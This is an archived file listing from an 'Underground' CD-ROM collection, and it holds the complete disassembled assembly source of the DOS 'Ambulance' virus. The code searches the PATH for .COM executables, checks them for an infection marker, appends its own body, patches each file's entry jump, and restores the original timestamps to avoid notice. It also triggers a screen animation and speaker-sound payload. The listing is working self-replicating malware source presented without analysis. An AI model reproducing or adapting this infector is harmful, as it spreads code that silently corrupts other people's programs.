Underground

home *** CD-ROM | disk | FTP | other *** search

/ Underground / Underground CD1.iso / virii / zrodla / a / ambulanc.asm < prev next >

Wrap

Assembly Source File | 1998-01-14 | 11.6 KB | 480 lines

PAGE 59,132 ;██████████████████████████████████████████████████████████████████████████ ;██ ██ ;██ AMBULANC ██ ;██ ██ ;██ Created: 13-Feb-92 ██ ;██ Passes: 5 Analysis Options on: none ██ ;██ ██ ;██████████████████████████████████████████████████████████████████████████ data_1e equ 0Ch data_2e equ 49h data_3e equ 6Ch psp_envirn_seg equ 2Ch data_20e equ 0C80h seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h ambulanc proc far start: jmp loc_1 db 0 data_7 dw 0 ; Data table (indexed access) db 44 dup (0) loc_1: ;* call sub_1 ;* db 0E8h, 01h, 00h add [bp-7Fh],bx out dx,al ; port 0, DMA-1 bas&add ch 0 add ax,[bx+di] call sub_2 call sub_2 call sub_4 lea bx,[si+419h] ; Load effective addr mov di,100h mov al,[bx] mov [di],al mov ax,[bx+1] mov [di+1],ax jmp di ;*Register jump loc_ret_2: retn ambulanc endp ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_2 proc near call sub_3 mov al,byte ptr data_19[si] or al,al ; Zero ? jz loc_ret_2 ; Jump if zero lea bx,[si+40Fh] ; Load effective addr inc word ptr [bx] lea dx,[si+428h] ; Load effective addr mov ax,3D02h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx mov data_12[si],ax mov bx,data_12[si] mov cx,3 lea dx,[si+414h] ; Load effective addr mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer mov al,data_10[si] cmp al,0E9h jne loc_3 ; Jump if not equal mov dx,data_11[si] mov bx,data_12[si] add dx,3 xor cx,cx ; Zero register mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov bx,data_12[si] mov cx,6 lea dx,[si+41Ch] ; Load effective addr mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer mov ax,data_13[si] mov bx,data_14[si] mov cx,data_15[si] cmp ax,word ptr ds:[100h][si] jne loc_3 ; Jump if not equal cmp bx,word ptr ds:[102h][si] jne loc_3 ; Jump if not equal cmp cx,data_7[si] je loc_4 ; Jump if equal loc_3: mov bx,data_12[si] xor cx,cx ; Zero register xor dx,dx ; Zero register mov ax,4202h int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset sub ax,3 mov data_9[si],ax mov bx,data_12[si] mov ax,5700h int 21h ; DOS Services ah=function 57h ; get file date+time, bx=handle ; returns cx=time, dx=time push cx push dx mov bx,data_12[si] mov cx,319h lea dx,[si+100h] ; Load effective addr mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov bx,data_12[si] mov cx,3 lea dx,[si+414h] ; Load effective addr mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov bx,data_12[si] xor cx,cx ; Zero register xor dx,dx ; Zero register mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov bx,data_12[si] mov cx,3 lea dx,[si+411h] ; Load effective addr mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer pop dx pop cx mov bx,data_12[si] mov ax,5701h int 21h ; DOS Services ah=function 57h ; set file date+time, bx=handle ; cx=time, dx=time loc_4: mov bx,data_12[si] mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle retn sub_2 endp ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_3 proc near mov ax,ds:psp_envirn_seg mov es,ax push ds mov ax,40h mov ds,ax mov bp,ds:data_3e pop ds test bp,3 jz loc_7 ; Jump if zero xor bx,bx ; Zero register loc_5: mov ax,es:[bx] cmp ax,4150h jne loc_6 ; Jump if not equal cmp word ptr es:[bx+2],4854h je loc_8 ; Jump if equal loc_6: inc bx or ax,ax ; Zero ? jnz loc_5 ; Jump if not zero loc_7: lea di,[si+428h] ; Load effective addr jmp short loc_13 loc_8: add bx,5 loc_9: lea di,[si+428h] ; Load effective addr loc_10: mov al,es:[bx] inc bx or al,al ; Zero ? jz loc_12 ; Jump if zero cmp al,3Bh ; ';' je loc_11 ; Jump if equal mov [di],al inc di jmp short loc_10 loc_11: cmp byte ptr es:[bx],0 je loc_12 ; Jump if equal shr bp,1 ; Shift w/zeros fill shr bp,1 ; Shift w/zeros fill test bp,3 jnz loc_9 ; Jump if not zero loc_12: cmp byte ptr [di-1],5Ch ; '\' je loc_13 ; Jump if equal mov byte ptr [di],5Ch ; '\' inc di loc_13: push ds pop es mov data_16[si],di mov ax,2E2Ah stosw ; Store ax to es:[di] mov ax,4F43h stosw ; Store ax to es:[di] mov ax,4Dh stosw ; Store ax to es:[di] push es mov ah,2Fh ; '/' int 21h ; DOS Services ah=function 2Fh ; get DTA ptr into es:bx mov ax,es mov data_17[si],ax mov data_18[si],bx pop es lea dx,[si+478h] ; Load effective addr mov ah,1Ah int 21h ; DOS Services ah=function 1Ah ; set DTA(disk xfer area) ds:dx lea dx,[si+428h] ; Load effective addr xor cx,cx ; Zero register mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jnc loc_14 ; Jump if carry=0 xor ax,ax ; Zero register mov data_19[si],ax jmp short loc_17 loc_14: push ds mov ax,40h mov ds,ax ror bp,1 ; Rotate xor bp,ds:data_3e pop ds test bp,7 jz loc_15 ; Jump if zero mov ah,4Fh ; 'O' int 21h ; DOS Services ah=function 4Fh ; find next filename match jnc loc_14 ; Jump if carry=0 loc_15: mov di,data_16[si] lea bx,[si+496h] ; Load effective addr loc_16: mov al,[bx] inc bx stosb ; Store al to es:[di] or al,al ; Zero ? jnz loc_16 ; Jump if not zero loc_17: mov bx,data_18[si] mov ax,data_17[si] push ds mov ds,ax mov ah,1Ah int 21h ; DOS Services ah=function 1Ah ; set DTA(disk xfer area) ds:dx pop ds retn sub_3 endp ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_4 proc near push es mov ax,data_8[si] and ax,7 cmp ax,6 jne loc_18 ; Jump if not equal mov ax,40h mov es,ax mov ax,es:data_1e or ax,ax ; Zero ? jnz loc_18 ; Jump if not zero inc word ptr es:data_1e call sub_5 loc_18: pop es retn sub_4 endp ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_5 proc near push ds mov di,0B800h mov ax,40h mov ds,ax mov al,ds:data_2e cmp al,7 jne loc_19 ; Jump if not equal mov di,0B000h loc_19: mov es,di pop ds mov bp,0FFF0h loc_20: mov dx,0 mov cx,10h locloop_21: call sub_8 inc dx loop locloop_21 ; Loop if cx > 0 call sub_7 call sub_9 inc bp cmp bp,50h jne loc_20 ; Jump if not equal call sub_6 push ds pop es retn sub_5 endp ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_6 proc near in al,61h ; port 61h, 8255 port B, read and al,0FCh out 61h,al ; port 61h, 8255 B - spkr, etc ; al = 0, disable parity retn sub_6 endp ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_7 proc near mov dx,7D0h test bp,4 jz loc_22 ; Jump if zero mov dx,0BB8h loc_22: in al,61h ; port 61h, 8255 port B, read test al,3 jnz loc_23 ; Jump if not zero or al,3 out 61h,al ; port 61h, 8255 B - spkr, etc mov al,0B6h out 43h,al ; port 43h, 8253 wrt timr mode loc_23: mov ax,dx out 42h,al ; port 42h, 8253 timer 2 spkr mov al,ah out 42h,al ; port 42h, 8253 timer 2 spkr retn sub_7 endp ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_8 proc near push cx push dx lea bx,[si+3BFh] ; Load effective addr add bx,dx add dx,bp or dx,dx ; Zero ? js loc_26 ; Jump if sign=1 cmp dx,50h jae loc_26 ; Jump if above or = mov di,data_20e add di,dx add di,dx sub dx,bp mov cx,5 locloop_24: mov ah,7 mov al,[bx] sub al,7 add al,cl sub al,dl cmp cx,5 jne loc_25 ; Jump if not equal mov ah,0Fh test bp,3 jz loc_25 ; Jump if zero mov al,20h ; ' ' loc_25: stosw ; Store ax to es:[di] add bx,10h add di,9Eh loop locloop_24 ; Loop if cx > 0 loc_26: pop dx pop cx retn sub_8 endp ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_9 proc near push ds mov ax,40h mov ds,ax mov ax,ds:data_3e loc_28: cmp ax,ds:data_3e je loc_28 ; Jump if equal pop ds retn sub_9 endp and ah,[bp+di] and al,25h ; '%' db 26h, 27h, 28h, 29h, 66h, 87h db 3Bh, 2Dh, 2Eh, 2Fh, 30h, 31h db 23h,0E0h,0E1h,0E2h,0E3h,0E4h db 0E5h,0E6h,0E7h,0E7h,0E9h,0EAh db 0EBh db 30h data_8 dw 3231h ; Data table (indexed access) db 24h data_9 dw 0E1E0h ; Data table (indexed access) data_10 db 0E2h ; Data table (indexed access) data_11 dw 0E8E3h ; Data table (indexed access) data_12 dw 0EA2Ah ; Data table (indexed access) db 0E7h,0E8h,0E9h data_13 dw 302Fh ; Data table (indexed access) data_14 dw 326Dh ; Data table (indexed access) data_15 dw 2533h ; Data table (indexed access) data_16 dw 0E2E1h ; Data table (indexed access) data_17 dw 0E4E3h ; Data table (indexed access) data_18 dw 0E7E5h ; Data table (indexed access) data_19 dw 0E8E7h ; Data table (indexed access) db 0E9h,0EAh,0EBh,0ECh,0EDh,0EEh db 0EFh, 26h,0E6h,0E7h, 29h, 59h db 5Ah, 2Ch,0ECh,0EDh,0EEh,0EFh db 0F0h, 32h, 62h, 34h,0F4h, 0Ah db 00h,0E9h, 2Fh, 00h,0CDh, 20h db 00h, 05h, 00h,0CDh, 20h, 00h seg_a ends end start